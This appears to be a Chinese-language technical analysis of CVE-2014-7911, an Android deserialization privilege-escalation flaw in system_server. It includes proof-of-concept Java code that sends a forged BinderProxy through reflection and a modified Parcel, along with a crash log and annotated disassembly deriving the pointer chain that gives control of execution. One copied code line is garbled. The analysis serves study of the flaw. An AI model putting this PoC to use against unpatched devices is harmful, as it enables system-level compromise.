CVE-2014-7911安卓本地提权漏洞分析

简介

CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令,影响版本包括4.4以前所有的版本。该漏洞是一个非常有学习价值的漏洞,其涉及的知识非常广泛,包括Java序列化与反序列化、Dalvik GC机制、Android binder机制、heap spary、ROP、stack pivot。

该漏洞的成因在于java.io.ObjectInputStream类在反序列化输入的数据时,并不验证其合法性,攻击者可以利用此漏洞构造恶意对象在sysem_server进程中执行任意代码并获取提升的权限。但是我google大部分关于这个漏洞的文章,没有一个分析文章能将漏洞的触发流程与这个点串起来的逻辑,或者说文章中根本就没有在提及这个点,这个过程发生在sysem_server处理Parcel数据的时候有个unparcel过程,下边会有详细的逻辑流程。

调试环境和工具

nexus 5
android 4.4
android studio

漏洞触发

触发

先下载漏洞poc编译过后安装到手机中,一定要拿实体机测试,在genymotion等虚拟机中无法通过反射获取到系统服务。

清除日志 adb logcat -c
开启日志 adb logcat
运行poc,手机重启,查看崩溃日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
--------- beginning of /dev/log/main
I/System.out(10603): 1 inner classes found
I/System.out(10603): 1 inner classes found
D/audio_hw_primary( 8448): select_devices: out_snd_device(2: speaker) in_snd_device(0: )
--------- beginning of /dev/log/system
E/UserManagerService( 8753): Error writing application restrictions list
D/dalvikvm( 8753): GC_FOR_ALLOC freed 134K, 4% free 24602K/25472K, paused 32ms, total 32ms
F/libc ( 8753): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 8761 (FinalizerDaemon)
D/dalvikvm( 8753): GC_FOR_ALLOC freed 856K, 7% free 24582K/26312K, paused 31ms, total 31ms
D/dalvikvm( 8753): GC_FOR_ALLOC freed 836K, 7% free 24582K/26312K, paused 35ms, total 35ms
I/ActivityManager( 8753): START u0 {act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10200000 cmp=com.google.android.googlequicksearchbox/com.google.android.launcher.GEL} from pid 8753
D/audio_hw_primary( 8448): select_devices: out_snd_device(2: speaker) in_snd_device(0: )
I/DEBUG ( 175): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 175): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG ( 175): Revision: '11'
I/DEBUG ( 175): pid: 8753, tid: 8761, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 175): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 175): r0 1337beef r1 401899d9 r2 71082008 r3 6d468dc4
I/DEBUG ( 175): r4 401899d9 r5 1337beef r6 713c12e8 r7 1337beef
I/DEBUG ( 175): r8 1337beef r9 746daf68 sl 71082018 fp 74a7eb24
I/DEBUG ( 175): ip 401c18a4 sp 74a7eae8 lr 40188981 pc 400d6176 cpsr 200f0030
I/DEBUG ( 175): d0 0000000000000001 d1 0000000000000000
I/DEBUG ( 175): d2 6d4aece800000000 d3 0000010000000000
I/DEBUG ( 175): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 175): d6 0000000000000000 d7 42c800004bb98bb4
I/DEBUG ( 175): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 175): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 175): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 175): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 175): d16 ffffffff00000013 d17 00000006ffffffff
I/DEBUG ( 175): d18 0000000000000000 d19 0000000000000000
I/DEBUG ( 175): d20 0000000000000000 d21 0002000200020002
I/DEBUG ( 175): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 175): d24 0000000000000000 d25 0002a7600002a760
I/DEBUG ( 175): d26 0707070703030303 d27 0300000004000000
I/DEBUG ( 175): d28 0800000009000000 d29 0001000000010000
I/DEBUG ( 175): d30 010b400001088000 d31 01108000010e0000
I/DEBUG ( 175): scr 60000010
I/DEBUG ( 175):
I/DEBUG ( 175): backtrace:
I/DEBUG ( 175): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG ( 175): #01 pc 0007097d /system/lib/libandroid_runtime.so
I/DEBUG ( 175): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG ( 175): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG ( 175): #04 pc 00026fe0 /system/lib/libdvm.so
I/DEBUG ( 175): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG ( 175): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG ( 175): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG ( 175): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG ( 175): #09 pc 00055287 /system/lib/libdvm.so
I/DEBUG ( 175): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)
I/DEBUG ( 175): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)
...

崩溃日志

简单说下崩溃日志格式

  1. ndk crash log以 *开始.
  2. 第一行Build fingerprint: ‘google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys’ 指明了运行的Android版本, 如果您有多份crash dump的话这个信息就比较有用了。
  3. 接着一行显示的是当前的线程id(pid)和进程id(tid). 如果当前崩溃的线程是主线程的话, pid和tid会是一样的。
  4. 第四行, 显示的是unix信号. 这里的signal 11,即SIGSEGV,表示段错误,是最常见的信号。(SIGSEGV自行google)
  5. 接下来的部分是系统寄存器的dump信息。
  6. Crash dump还包含PC之前和之后的一些内存字段.
  7. 最后是崩溃时的调用堆栈,如果你执行的是debug版本,还能还原一些c++代码。

几个重要的寄存器

  1. r0-r3 用作传入函数参数,传出函数返回值。当参数不超过4个时,可以使用寄存器R0~R3来进行参数传递,当参数超过4个时,使用数据栈来传递参数;结果为一个32位的整数时,通过寄存器r0返回;结果为一个64位整数时,通过寄存器r0,r1返回。另外很重要的一点,在C++中,第一个参数就是this指针,所以this指针是存放在r0中的。
  2. r4-r11 被用来存放函数的局部变量。
  3. fp (or r11) 指向当前正在执行的函数的堆栈底。
  4. sp (or r13) 当前正在执行的函数的堆栈顶.(跟fp相对应)
  5. lr (or r14) link register. 简单来说,当当前指令执行完了,就会从这个寄存器获取地址,来知道需要返回,到哪里继续执行。
  6. pc (or r15) program counter. 程序计数器。

漏洞POC分析

从上边崩溃日志中看出,system_server执行到0x1337bef3地址后触发Error writing application restrictions list写错误,最终造成了崩溃。

漏洞触发过程

结合崩溃信息看poc源码,源码触发过程如下:

1.创建可序列化的对象AAdroid.os.BinderProxy并将其放入Bundle数据中。

1
2
3
4
5
Bundle bundle = new Bundle();
BinderProxy evilProxy = new BinderProxy();
evilProxy.mOrgue = staticAddr;
evilProxy.mObject = staticAddr;
bundle.putSerializable("eatthis", evilProxy);

类AAdroid.os.BinderProxy代码:

1
2
3
4
5
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public int mObject = 0x1337beef;
public int mOrgue = 0x1337beef;
}

注意其中两个可控的成员变量mObject和mOrgue分别赋值0x1337beef,正是崩溃点。

2.通过一系列java的反射机制,获得跨进程调用system_server的IBinder接口mRemote,为与system_server的跨进程通信做准备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 获取类对象android.os.IUserManager.Stub
Class stubClass = null;
Class[] umSubclasses = Class.forName("android.os.IUserManager").getDeclaredClasses();
System.out.println(umSubclasses.length + " inner classes found");

for (Class inner : umSubclasses) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {
stubClass = inner;
break;
}
}

// 获取对象android.os.IUserManager.Stub中TRANSACTION_setApplicationRestrictions的值用于transact()
Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");
TRANSACTION_setApplicationRestrictionsField.setAccessible(true);
TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);

// 获取类对象android.os.IUserManager.Stub.Proxy
Class proxyClass = null;
Class[] umStubclasses = stubClass.getDeclaredClasses();
System.out.println(umStubclasses.length + " inner classes found");
for (Class inner : umStubclasses) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
proxyClass = inner;
break;
}
}

// 获取UserManager类对象实例
UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);
// 获取UserManager类对象中mService对象, 类型为IUserManager
Field mServiceField = UserManager.class.getDeclaredField("mService");
mServiceField.setAccessible(true);
// 获取UserManager类对象实例中的mService对象值
Object mService = mServiceField.get(userManager);

// 获取类对象android.os.IUserManager.Stub.Proxy中的mRemote对象
Field mRemoteField = proxyClass.getDeclaredField("mRemote");
mRemoteField.setAccessible(true);
// 获取获取类型为IUserManager的实例对象mService对象值
mRemote = (IBinder) mRemoteField.get(mService);

3.调用setApplicationRestrictions函数,传入之前打包evilproxy的Bundle数据作为参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{

android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);

byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);

mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}

将该函数与Android源码中的Android.os.IUserManager.Stub.Proxy.setApplicationRestrictions函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入system_server中,system_server在处理这些数据时造成异常崩溃。

进程间通信

Binder

通过POC知道造成崩溃行为的代码为mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0),这里就涉及到进程间通信,在Android中,Binder用于完成进程间通信(IPC),即把多个进程关联在一起,以下摘自网络:

Binder是一种架构,这种架构提供了服务端接口、Binder驱动、客户端接口三个模块。
  服务端:一个Binder服务端实际上就是一个Binder类的对象,该对象一旦创建,内部就启动一个隐藏线程。该线程接下来会接收Binder驱动发送的消息,收到消息后,会执行到Binder对象中的onTransact()函数,并按照该函数的参数执行不同的服务代码。因此,要实现一个Binder服务,就必须重载onTransact()方法。重载onTransact()函数的主要内容是把onTransact()函数的参数转换为服务函数的参数,而onTransact()函数的参数来源是客户端调用transact()函数时输入的,因此,如果transact()有固定格式的输入,那么onTransact()就会有固定格式的输出。
  Binder驱动:任意一个服务端Binder对象被创建时,同时会在Binder驱动中创建一个mRemote对象,该对象的类型也是Binder类。客户端要访问远程服务时,都是通过mRemote对象。
  客户端:客户端要想访问远程服务,必须获取远程服务在Binder对象中对应的mRemote引用,获得该mRemote对象后,就可以调用其transact()方法,而在Binder驱动中,mRemote对象也重载了transact()方法,重载的内容主要包括以下几项:1. 以线程间消息通信的模式,向服务端发送客户端传递过来的参数。2. 挂起当前线程,当前线程正是客户端线程,并等待服务端线程执行完指定服务函数后通知(notify)。3. 接收到服务端线程的通知,然后继续执行客户端线程,并返回到客户端代码区。

通过上边简短的介绍,我们知道,要想使用服务端,首先要获取服务端在Binder驱动中对应的mRemote变量的引用,在POC中通过反射方式获得。
获得该变量的引用后,就可以调用该变量的transact()方法。该方法的函数原型:public final boolean transact(int code, Parcel data, Parcel reply,int flags),其中data表示的是要传递给远程Binder服务的包裹(Parcel),远程服务函数所需要的参数必须放入这个包裹中。包裹中只能放入特定类型的变量,这些类型包括常用的原子类型,比如String、int、long等,要查看包裹可以放入的全部数据类型,可以参照Parcel类。除了一般的原子变量外,Parcel还提供了一个writeParcel()方法,可以在包裹中包含一个小包裹。因此,要进行Binder远程服务调用时,服务函数的参数要么是一个原子类,要么必须继承于Parcel类,否则,是不能传递的。这也是为什么最开始要创建一个可序列化的对象AAdroid.os.BinderProxy并将其放入Bundle数据中。

网上关于进程间通信的资料大部分都是又臭又长,如果想快速了解推荐一篇文章 android中的跨进程通信的实现(一)——远程调用过程和aidl

service manager和binder service

Binder是android系统中实现跨进程通信(IPC)的一种重要机制。service manager是所有binder service的管理者,但它并不是这些binder service的创建者。这些binder service有些是init进程启动的服务创建的,有些是system_server进程创建的,但是service manager会管理所有binder service的信息,方便client查询以及调用。

service manager是由init进程直接启动的,ActivityManagerService,PackageManagerService等系统的基本服务(frameworks\base\services\java\com\android\server源码路径里的服务类)由system_server进程启动的。binder service实际上并没有单独的进程,它们只是system_server的一个子线程。init进程会启动surface flinger,media server, drmserver等服务,在这些服务里会创建binder service,并注册到service manager。

native binder service 和 java 层的binder service,都会交由service manager注册,然后由service manager管理。客户端使用binder service时需要向service manager查询得到binder service在当前进程的一个代理proxy,通过代理与binder service的服务端交互。

漏洞触发过程中数据的parcel和unparcel

进程间传递Parcel类型数据,一端通过writeToParcel将对象映射成Parcel对象传递出去,另一端再通过createFromParcel将Parcel对象映射回原始对象进行处理。可以将Parcel看成是一个流,通过writeToParcel把对象写到流里面,在通过createFromParcel从流里读取对象。

然后看POC中修改过的不可反序列化的parcel对象Android.os.BinderProxy的处理过程,接POC最后执行流程,执行过mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0)过后,system_server层会去调用IUserManager.onTransact()方法,来到case TRANSACTION_setApplicationRestrictions分支开始处理传进来的parcel数据流:

先是_arg1 = android.os.Bundle.CREATOR.createFromParcel(data)读取数据对象,然后调用this.setApplicationRestrictions(_arg0, _arg1, _arg2);然后转入UserManagerService,UserManagerService继承IUserManager.Stub并实现了setApplicationRestrictions方法,下边的调用流程为(跟着参数_arg1也就是修改过不可反序列化的对象走)

1
2
3
4
5
6
7
8
9
10
11
> IUserManager.Stub.Proxy.setApplicationRestrictions(_arg0, _arg1, _arg2) ->
UserManagerService.setApplicationRestrictions ->
UserManagerService.writeApplicationRestrictionsLocked ->
Bundle.keySet()(restrictions.keySet()) ->
Bundle.unparcel() ->
Parcel.readArrayMapInternal() ->
Parcel.readValue(ClassLoader) ->
Parcel.readSerializable(ClassLoader) ->
ObjectInputStream.readObject() ->
ObjectInputStream.readNonPrimitiveContent() ->
ObjectInputStream.readNewObject() ->

对比之前版本知道,最后classDesc.checkAndGetTcObjectClass()这里就是补丁代码了,进去checkAndGetTcObjectClass()看到上边几行注释

1
2
3
4
5
6
7
8
/**
* Checks the local class to make sure it is valid for {@link ObjectStreamConstants#TC_OBJECT}
* deserialization. Also performs some sanity checks of the stream data. This method is used
* during deserialization to confirm the local class is likely to be compatible with the coming
* stream data, but before an instance is instantiated.
*
* @hide used internally during deserialization
*/

注释也很清楚了说明了,这是加的一个补丁,在数据被实例化之前,用来检测对象是否可被反序列化。
更详细的补丁代码可以查看:2d0fbea07c1a3c4368ddb07609d1a86993ed6de9

漏洞分析

回过头来看crash dump信息,根据backtrace显示的堆栈调用最后调用了/system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)

Android指针管理

Android中通过引用计数来实现智能指针,并且实现有强指针与弱指针。由对象本身来提供引用计数器,但是对象不会去维护引用计数器的值,而是由智能指针来管理。要达到所有对象都可用引用计数器实现智能指针管理的目标,可以定义一个公共类,提供引用计数的方法,所有对象都去继承这个公共类,这样就可以实现所有对象都可以用引用计数来管理的目标,在Android中,这个公共类就是RefBase。

RefBase作为公共基类提供了引用计数的方法,但是并不去维护引用计数的值,而是由两个智能指针来进行管理:sp(Strong Pointer)和wp(Weak Pointer),代表强引用计数和弱引用计数。RefBase提供了incStrong与decStrong函数用于控制强引用计数值,其弱引用计数值是由weakref_impl控制,强引用计数与弱引用数都保存在weakref_impl *类型的成员变量mRefs中。

当sp销毁时其析构函数调用对象即RefBase的decStrong函数,decStrong中将强引用数与弱引用数同时减1,如果这是最后一个强引用的话,会调用对象的onLastStrongRef,并且判断成员变量mRefs的成员变量mFlags来决定是否在对象的强引用数为0时释放对象。

GC机制

简单介绍一下Java对象的生命周期与垃圾回收(摘自网络):

创建对象的方式:

  • 用new语句创建对象。
  • 使用反射,调用java.lang.Class或java.lang.reflect.Constructor的newInstance()实例方法。
  • 调用对象的clone()方法
  • 使用反序列化手段,调用java.io.ObjectInputStream对象的readObject()方法。

垃圾回收和对象的可触及性:

  • 可触及状态:当一个对象被创建后,只要程序中还有引用变量引用该对象,那么它就始终处于可触及状态。
  • 可复活状态:当程序不再有任何引用变量引用对象时,它就进入可复活状态。该状态的对象,垃圾回收器会准备释放它占用的内存,在释放前,会调用它的finalize()方法,这些finalize()方法有可能使对象重新转到可触及状态。
  • 不可触及状态:当JVM执行完所有的可复活状态的finalize()方法后,假如这些方法都没有使对象转到可触及状态。那么该对象就进入不可触及状态。只有当对象处于不可触及状态时,垃圾回收器才会真正回收它占用的内存。

漏洞成因

通过RefBase和GC机制的简单了解得知该处崩溃是由于对象销毁触发GC处理过程,当system_server对传进来的对象进行反序列化后就创建了对象,启动Activity后将其最小化,触发GC,由于该对象并没有任何引用,GC清理时就会调用该对象的finalize方法,即调用了Android.os.BinderProxy的finalize方法,然后会调用destroy(),destroy()为native方法。

1
2
3
4
5
6
7
8
9
10
@Override
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}

private native final void destroy();

定位到android_os_BinderProxy_destroy

1
2
3
4
5
6
7
8
9
10
11
12
13
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{

IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong(obj);
IPCThreadState::self()->flushCommands();
}

代码一开始就将gBinderProxyOffsets.mObject和gBinderProxyOffsets.mOrgue强制转换成函数指针,那么gBinderProxyOffsets.mObject和gBinderProxyOffsets.mOrgue是什么鬼?找到BinderProxy服务注册函数int_register_android_os_BinderProxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const char* const kBinderProxyPathName = "android/os/BinderProxy";
static int int_register_android_os_BinderProxy(JNIEnv* env)
{

jclass clazz;
clazz = env->FindClass("java/lang/ref/WeakReference");
LOG_FATAL_IF(clazz == NULL, "Unable to find class java.lang.ref.WeakReference");
gWeakReferenceOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
gWeakReferenceOffsets.mGet = env->GetMethodID(clazz, "get", "()Ljava/lang/Object;");
assert(gWeakReferenceOffsets.mGet);
clazz = env->FindClass("java/lang/Error");
LOG_FATAL_IF(clazz == NULL, "Unable to find class java.lang.Error");
gErrorOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
clazz = env->FindClass(kBinderProxyPathName);
LOG_FATAL_IF(clazz == NULL, "Unable to find class android.os.BinderProxy");
gBinderProxyOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
gBinderProxyOffsets.mConstructor = env->GetMethodID(clazz, "<init>", "()V");
assert(gBinderProxyOffsets.mConstructor);
gBinderProxyOffsets.mSendDeathNotice = env->GetStaticMethodID(clazz, "sendDeathNotice", "(Landroid/os/IBinder$DeathRecipient;)V");
assert(gBinderProxyOffsets.mSendDeathNotice);
gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
assert(gBinderProxyOffsets.mObject);
gBinderProxyOffsets.mSelfvoid RefBase::decStrong = env->GetFieldID(clazz, "mSelf", "Ljava/lang/ref/WeakReference;");
assert(gBinderProxyOffsets.mSelf);
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");
assert(gBinderProxyOffsets.mOrgue);
...
...
}

代码中可以看到,通过一些列反射通过对象引用计数器获取android.os.BinderProxy对象实例,然后通过

gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");

获取其成员变量mObject和mOrgue的值,即获取了AAdroid.os.BinderProxy中的变量mObject和mOrgue的值。而我们可以控制mObject和mOrgue的值,这样就相当于我们可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。

继续看android_os_BinderProxy_destroy代码,将mOrgue强制转成DeathRecipientList函数指针后会调用函数drl->decStrong((void*)javaObjectForIBinder),DeathRecipientList继承RefBase,找到RefBase类中的decStrong方法,位于RefBase.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

void RefBase::decStrong(const void* id) const
{
// 成员变量mRefs是在对象的构造函数中初始化
weakref_impl* const refs = mRefs;
// 强引用数与弱引用数同时减1
refs->removeStrongRef(id);
// 获取强引用数,返回&refs->mStrong
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
// 如果这是最后一个强引用的话
if (c == 1) {
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}

这个对象销毁过程参考前边介绍的Android指针管理,decStrong中将强引用数与弱引用数同时减1,如果这是最后一个强引用的话,会调用对象的onLastStrongRef,并且判断成员变量mRefs的成员变量mFlags来决定是否在对象的强引用数为0时释放对象。

我们传入的mOrgue的值,即是drl->decStrong方法所在类DeathRecipientList的this指针,所以执行到refs->mBase->onLastStrongRef(id)最终导致我们的代码执行。mBase类型为RefBase* const,相当于直接跳到mOrgue地址执行了,即程序崩在了0x1337bef3,r0为函数第一个参数即this指针,所以其值也是0x1337bef3。

反汇编定位崩溃点

经过前边的分析已经知道了漏洞成因以及最终漏洞触发函数,但是想要利用漏洞就必须定位到具体的触发崩溃的点,需要知道最后是哪个操作造成的,以及相关寄存器哪些是可控的。

从android4.4.4原生系统中扣出libutil.so文件,然后反汇编android::RefBase::decStrong(void const*) const函数,汇编代码以及说明如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

================ B E G I N N I N G O F P R O C E D U R E ================


_ZNK7android7RefBase9decStrongEPKv: // android::RefBase::decStrong(void const*) const
0000d172 push {r4, r5, r6, lr} ; XREF=_ZN7android2spINS_9BlobCache4BlobEED1Ev+10, _ZN7android2spINS_9BlobCache4BlobEEaSERKS3_+22, _ZN7android2spINS_14LooperCallbackEED1Ev+18, _ZN7android2spINS_6ThreadEE5clearEv+18, _ZN7android6Thread3runEPKcij+70, _ZN7android6Thread11_threadLoopEPv+178, _ZN7android6Looper16threadDestructorEPv+6, _ZN7android6Looper12setForThreadERKNS_2spIS0_EE+42, _ZN7android6Looper12setForThreadERKNS_2spIS0_EE+52, _ZN7android2spINS_14LooperCallbackEEaSERKS2_+36, _ZN7android6Looper9pollInnerEi+506, …
0000d174 mov r5, r0 // r0为drl的this指针
0000d176 ldr r4, [r0, #0x4] // mRefs是drl父类RefBase虚函数下边第一个私有变量,即为drl虚表下边第一个私有变量,所以地址为this+4
0000d178 mov r6, r1
0000d17a mov r0, r4 // &refs->mStrong为weakref_impl类的第一成员变量,并且其父类weakref_type没有虚函数,所以不存在虚表,所以其地址为r4
0000d17c blx android_atomic_dec@PLT // 获取强引用数
0000d180 cmp r0, #0x1 // 返回值与1比较
0000d182 bne 0xd19c // 不等跳到0xd19c 该处为漏洞利用的约束条件

0000d184 ldr r0, [r4, #0x8] // weakref_impl类中mBase位于第三个成员变量,所以其地址为r4+8
0000d186 mov r1, r6 // refs->mBase->onLastStrongRef参数id
0000d188 ldr r3, [r0] // 将mBase地址传给r3,即r3为RefBase类this指针
0000d18a ldr r2, [r3, #0xc] // 父类weakref_type虚表指针vfptr+私有变量mRefs + 4(onLastStrongRef为第二个虚函数) = 0xC
0000d18c blx r2 // 调用refs->mBase->onLastStrongRef
0000d18e ldr r0, [r4, #0xc]
0000d190 lsls r0, r0, #0x1f
0000d192 bmi 0xd19c

0000d194 ldr r1, [r5]
0000d196 mov r0, r5
0000d198 ldr r3, [r1, #0x4]
0000d19a blx r3

0000d19c mov r0, r4 ; argument #1 for method _ZN7android7RefBase12weakref_type7decWeakEPKv, XREF=_ZNK7android7RefBase9decStrongEPKv+16, _ZNK7android7RefBase9decStrongEPKv+32
0000d19e mov r1, r6
0000d1a0 pop.w {r4, r5, r6, lr}
0000d1a4 b.w _ZN7android7RefBase12weakref_type7decWeakEPKv ; android::RefBase::weakref_type::decWeak(void const*)
; endp

根据汇编代码可以看出,为实现任意代码执行得满足条件:
&refs->mStrong == 1,即*(*(mOrgue+4)) == 1
所以总结下来应该是

1
2
3
4
5
6
	
if(*(*(mOrgue+4)) == 1) {
refs = *(mOrgue+4);
r2 = *(*(*(refs+8))+0xC);
blx r2 ; <—— controlled;
}

对照反汇编代码更容易看出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int android::RefBase::decStrong(void const*) const(void * arg0) {
r5 = arg0;
r4 = *(arg0 + 0x4);
r6 = r1;
if (android_atomic_dec() == 0x1) {
r0 = *(r4 + 0x8);
r3 = *r0;
r2 = *(r3 + 0xc);
(r2)(r0, r6, r2, r3);
if (PARITY(*(r4 + 0xc) << 0x1f)) {
r1 = *r5;
(*(r1 + 0x4))(r5, r1);
}
}
Pop();
Pop();
Pop();
Pop();
r0 = android::RefBase::weakref_type::decWeak(r4);
return r0;
}

最后执行的汇编代码地址为
r2 = *(*(*(refs+8))+0xC) = *(*(*(*(mOrgue+4)+8))+0xC)

思考

通过分析,其实这个漏洞触发需要的条件就两个:

  1. 向system_server传递对象,并且system_server会将该对象反序列化。
  2. 传递数据前将可序列化的对象修改为不可序列化。

第一个问题,是否必须使用Android.os.UserManager.setApplicationRestrictions方法向system_server传递对象?
并不是,其实我们需要的是找到一个途径将序列化后的对象传递进system_server进程,并且system_server会将该对象反序列化,只要满足这样的条件均可。这样的系统服务还是很多的,例如frameworks\base\services\java\com\android\server目录下的系统服务,找到相对应的应用层通信调用的地方就可以了。

第二个问题,为什么要将AAdroid.os.BinderProxy修改为Android.os.BinderProxy?
漏洞的整个触发过程仅仅是向system_server进程传递了一个恶意对象实例,此时没有任何该对象的方法或者数据被使用,然而由于Java GC机制,当该对象被清理时,GC将调用他的finalize方法。由于finalize方法是不可控的,可控仅仅是该恶意对象,所以漏洞仍然无法利用。回头再看Android.os.BinderProxy,它在其finalize方法中将变量mObject和mOrgue强制转换为函数指针并调用。但是其中mObject和mOrgue的值是可控的,这样就相当于可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。

漏洞利用

CVE-2014-7911安卓本地提权漏洞利用

参考

CVE-2014-7911安卓本地提权漏洞详细分析